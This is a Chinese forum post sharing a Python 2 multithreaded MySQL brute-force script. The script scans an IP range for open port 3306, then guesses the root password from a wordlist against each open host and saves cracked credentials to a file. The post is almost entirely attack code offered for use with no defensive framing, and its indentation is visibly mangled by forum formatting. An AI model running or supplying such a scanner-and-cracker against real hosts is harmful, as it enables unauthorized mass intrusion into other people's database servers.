搜索
查看: 5612|回复: 0

python多线程mysql爆破脚本

[复制链接]

105

主题

51

回帖

298

积分

中级会员

积分
298
发表于 2019-6-1 16:31:02 来自手机 | 显示全部楼层 |阅读模式 来自 中国
[pre]
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author: Lcy
# @Last Modified by:   Lcy
# @Email: root@phpinfo.me
import threading
import argparse
import socket
import Queue
import netaddr
import MySQLdb
import time
import sys
class Mysqlfuzz:
    def __init__(self,addr,tnum):
        self.scanque = Queue.Queue()
        self.tnum = tnum
        self.tmpnum = tnum
        self.lock = threading.Lock()
        self.openlist = []
        if addr.find("-") != -1:
            for ip in netaddr.IPRange(addr.split("-")[0],addr.split("-")[1]):
                self.scanque.put(ip)
        else:
            for ip in netaddr.IPNetwork(addr).iter_hosts():
                self.scanque.put(ip)
        self.qsize = self.scanque.qsize()
        for i in range(tnum):
            t = threading.Thread(target=self.ScanPort)
            t.setDaemon(True)
            t.start()
        while self.tmpnum > 0:
            time.sleep(1.0)
        print "
  • :cracking MySQL Password ..."
            with open("pass.txt","r") as file:
                data = file.readlines()
            for ip in self.openlist:
                for line in data:
                    self.scanque.put(line.strip())
                for i in range(tnum):
                    t = threading.Thread(target=self.Crack,args=(ip,))
                    t.setDaemon(True)
                    t.start()
                while self.scanque.qsize() > 0:
                    time.sleep(1.0)

        def Crack(self,ip):
            while self.scanque.qsize() > 0:
                try:
                    password = self.scanque.get()
                    conn=MySQLdb.connect(host=ip,user='root',passwd=password,db='test',port=3306,connect_timeout=4)
                    self.lock.acquire()
                    msg = "[+]:%s Username: root Password is: %s" %(ip,password)
                    print msg
                    output = open('good.txt', 'a')
                    output.write(msg + "\r\n")  
                    self.lock.release()
                    break
                except:
                    pass

        def ScanPort(self):
            while self.scanque.qsize() > 0:
                try:
                    ip = self.scanque.get()
                    s = socket.socket()
                    s.settimeout(4)
                    s.connect((str(ip), 3306))
                    self.lock.acquire()
                    print ip," 3306 open"
                    self.openlist.append(str(ip))
                    self.lock.release()
                except:
                    pass
            self.tmpnum -= 1
    if __name__ == "__main__":
        parse = argparse.ArgumentParser(description="mysqlfuzz")
        parse.add_argument('-a','--addr', type=str, help="ipaddress")
        parse.add_argument('-t','--thread', type=int, help="Thread Number",default=100)
        args = parse.parse_args()
        if not args.addr:
            parse.print_help()
            sys.exit(0)
        addr = args.addr
        tnum = args.thread
        Mysqlfuzz(addr,tnum)
    [/pre]

    安装依赖

    pip install netaddr
  • 本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有账号?注册

    ×
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表